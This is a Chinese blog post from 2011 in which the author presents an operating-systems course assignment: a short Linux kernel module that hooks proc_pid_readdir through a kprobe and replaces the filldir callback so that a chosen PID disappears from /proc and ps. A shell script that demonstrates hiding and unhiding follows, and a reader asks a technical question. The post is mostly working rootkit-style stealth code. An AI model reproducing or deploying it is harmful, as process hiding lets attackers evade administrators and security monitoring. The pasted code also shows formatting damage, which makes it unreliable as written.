糯米

TI DaVinci, gstreamer, ffmpeg
随笔 - 167, 文章 - 0, 评论 - 47, 引用 - 0
数据加载中……

Linux内核通过inline hook实现隐藏进程

这是我们操作系统的大作业。
原理就是inline hook 那个 proc 文件系统,根目录下的 readdir 的函数。
替换掉第三个参数,filldir。
代码爆短,60来行。
Ubuntu 10.04 测试可用。

#include <linux/kernel.h>
#include 
<linux/kprobes.h>
#include 
<linux/module.h>
#include 
<linux/moduleparam.h>
#include 
<linux/fs.h>

int register_kprobe(struct kprobe *kp);

static struct kprobe kp = {
    .symbol_name    
= "proc_pid_readdir",
}
;

static filldir_t old_filldir;
static int pid;

module_param(pid, 
int0744);

static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
           u64 ino, unsigned 
int d_type)
{
    
int p;
    sscanf(name, 
"%d"&p);
    
if (p == pid)
        
return 0;
    
return old_filldir(__buf, name, namlen, offset, ino, d_type);
}



/* kprobe pre_handler: called just before the probed instruction is executed */
static int handler_pre(struct kprobe *pr, struct pt_regs *regs)
{
    old_filldir 
= (filldir_t)regs->cx;
    regs
->cx = (typeof(regs->cx))filldir;
    
return 0;
}


static int __init k_init(void)
{
    
int ret;

    kp.pre_handler 
= handler_pre;

    ret 
= register_kprobe(&kp);
    
if (ret < 0{
        printk(KERN_INFO 
"register_kprobe failed, returned %d\n", ret);
        
return ret;
    }

    printk(KERN_INFO 
"Planted kprobe at %p; pid %d\n", kp.addr, pid);

    
return 0;
}


static void __exit k_exit(void)
{
    unregister_kprobe(
&kp);
    printk(KERN_INFO 
"kprobe at %p unregistered\n", kp.addr);
}


module_init(k_init);
module_exit(k_exit);
MODULE_LICENSE(
"GPL");



sleep 1000 &
pid
=`jobs -p`
echo 
'before hide'
ps aux 
| grep $pid
insmod k.ko pid
=$pid
echo 
'after hide'
ps aux 
| grep $pid
rmmod k.ko
echo 
'after unhide'
ps aux 
| grep $pid

posted on 2011-02-23 14:58 糯米 阅读(2150) 评论(1)  编辑 收藏 引用 所属分类: Linux

评论

# re: Linux内核通过inline hook实现隐藏进程  回复  更多评论   

handler_pre() 函数中为什么 regs->cx 修改为hook函数就能执行hook之后的函数?

我使用同样的方式修改这个内核函数 usb_alloc_dev,然而regs->cx存放的并不是有效地地址,是0x00000001
2011-12-22 18:31 | quietjolt

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理